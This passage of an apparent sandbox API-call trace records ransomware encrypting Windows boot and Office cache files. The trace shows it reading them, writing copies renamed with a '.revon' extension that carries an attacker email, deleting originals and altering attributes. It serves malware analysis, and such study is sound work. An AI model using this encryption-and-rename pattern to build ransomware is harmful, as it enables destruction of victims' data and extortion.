dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.678] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=90704) returned 1 [0076.678] CloseHandle (hObject=0x1a4) returned 1 [0076.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0076.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0076.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.679] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.679] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.679] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=90704) returned 1 [0076.679] CloseHandle (hObject=0x1a4) returned 1 [0076.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0076.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0076.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.680] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.680] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.680] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=90176) returned 1 [0076.680] CloseHandle (hObject=0x1a4) returned 1 [0076.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0076.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0076.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.681] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.681] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.681] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=89664) returned 1 [0076.681] CloseHandle (hObject=0x1a4) returned 1 [0076.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0076.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0076.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.682] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.682] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.682] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=90192) returned 1 [0076.682] CloseHandle (hObject=0x1a4) returned 1 [0076.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0076.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0076.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.683] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.683] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.683] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=87616) returned 1 [0076.683] CloseHandle (hObject=0x1a4) returned 1 [0076.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0076.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0076.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.684] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.684] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.684] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=87104) returned 1 [0076.684] CloseHandle (hObject=0x1a4) returned 1 [0076.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0076.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0076.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.685] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.685] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.685] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=70720) returned 1 [0076.685] CloseHandle (hObject=0x1a4) returned 1 [0076.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0076.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0076.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.688] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.689] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.689] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=70224) returned 1 [0076.689] CloseHandle (hObject=0x1a4) returned 1 [0076.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0076.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0076.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.689] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.690] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.690] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=70208) returned 1 [0076.690] CloseHandle (hObject=0x1a4) returned 1 [0076.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0076.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0076.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.690] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.691] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.691] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=383786) returned 1 [0076.691] CloseHandle (hObject=0x1a4) returned 1 [0076.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0076.691] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0076.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0076.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\bootmgr.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.692] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.692] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0076.692] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0076.943] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=8192) returned 1 [0076.943] CloseHandle (hObject=0x19c) returned 1 [0076.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0076.943] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0076.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x26 [0076.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\bootsect.bak.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.944] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0076.944] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0076.944] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0076.944] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\bootsect.bak.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x1b0 [0077.066] ReadFile (in: hFile=0x19c, lpBuffer=0x2d30020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x265fd7c, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesRead=0x265fd7c*=0x2000, lpOverlapped=0x0) returned 1 [0077.110] WriteFile (in: hFile=0x1b0, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0x2010, lpOverlapped=0x0) returned 1 [0077.111] WriteFile (in: hFile=0x1b0, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0xf2, lpOverlapped=0x0) returned 1 [0077.111] CloseHandle (hObject=0x19c) returned 1 [0077.111] CloseHandle (hObject=0x1b0) returned 1 [0077.119] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0077.120] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-2795].[werichbin@protonmail.com].revon", dwFileAttributes=0x27) returned 1 [0077.120] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.121] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=2506240) returned 1 [0077.121] CloseHandle (hObject=0x1b0) returned 1 [0077.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0077.121] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 1 [0077.121] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.121] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0077.122] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0077.122] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2d30058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0077.140] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0077.140] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2d70058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0077.159] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0077.159] ReadFile (in: hFile=0x1b0, lpBuffer=0x2db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2db0058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0077.179] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd68 | out: lpNewFilePointer=0x0) returned 1 [0077.179] WriteFile (in: hFile=0x1b0, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0xc0112, lpOverlapped=0x0) returned 1 [0077.405] SetEndOfFile (hFile=0x1b0) returned 1 [0077.406] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0077.406] WriteFile (in: hFile=0x1b0, lpBuffer=0x2df014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df014a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0077.409] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0077.409] WriteFile (in: hFile=0x1b0, lpBuffer=0x2df014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df014a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0077.414] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0077.414] WriteFile (in: hFile=0x1b0, lpBuffer=0x2df014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df014a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0077.416] CloseHandle (hObject=0x1b0) returned 1 [0079.561] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0079.561] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=1565) returned 1 [0079.561] CloseHandle (hObject=0x1b0) returned 1 [0079.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0079.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0079.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0079.562] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0079.562] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0079.562] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0079.562] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c8 [0079.563] 